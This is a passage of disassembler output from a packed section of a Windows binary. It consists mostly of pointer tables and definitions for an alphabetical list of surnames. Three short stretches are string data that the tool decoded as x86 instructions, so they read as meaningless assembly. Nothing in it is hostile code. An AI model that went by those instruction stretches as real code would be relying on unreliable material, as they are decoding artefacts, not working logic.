dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
; ---------------------------------------------------------------------------
loc_42E3C8: ; CODE XREF: .packed:loc_42E3C8j
js short loc_42E3C8
inc edx
add [esi+edi*8+42h], ch
add [eax-2], ah
inc edx
add [esi+edi*8+42h], dl
add [eax-2], cl
inc edx
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [esi+edi*8], ch
inc edx
add [esi+edi*8], ah
inc edx
add [esi+edi*8], bl
inc edx
add [esi+edi*8], dl
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add al, dh
std
inc edx
add al, ch
std
inc edx
add al, ah
std
inc edx
add al, bl
std
inc edx
add al, dl
std
inc edx
add ah, al
std
inc edx
add [eax-4FFFBD03h], bh
std
inc edx
add [ebp+edi*8-263FFBEh], ah
inc edx
add [eax-7BFFBD03h], dl
std
inc edx
add [ebp+edi*8+42h], bh
add [eax-3], dh
inc edx
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [eax-3], dl
inc edx
add [eax-3], cl
inc edx
add [eax-3], al
inc edx
add ds:0FD280042h[edi*8], dh
inc edx
add [eax], ah
std
inc edx
add [eax], bl
std
inc edx
add ds:0FD0C0042h[edi*8], dl
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
and ah, ch
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC09
; ---------------------------------------------------------------------------
align 4
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: .packed:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .packed:0042EBC8o
aZoldak db 'Zoldak',0
align 4
dd 6272655Ah
db 69h
; ---------------------------------------------------------------------------
loc_42EC09: ; CODE XREF: .packed:0042EBC5j
outsb
imul eax, [eax], 6167655Ah
outsb
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC83h
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 4
aZachary db 'Zachary',0 ; DATA XREF: .packed:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: .packed:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: .packed:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: .packed:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: .packed:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: .packed:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .packed:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: .packed:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: .packed:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: .packed:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: .packed:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: .packed:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .packed:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .packed:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: .packed:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .packed:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: .packed:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: .packed:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: .packed:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: .packed:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: .packed:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042EB20o
aViano db 'Viano',0 ; DATA XREF: .packed:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: .packed:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: .packed:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: .packed:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .packed:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: .packed:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .packed:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: .packed:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042EAD4o
align 4
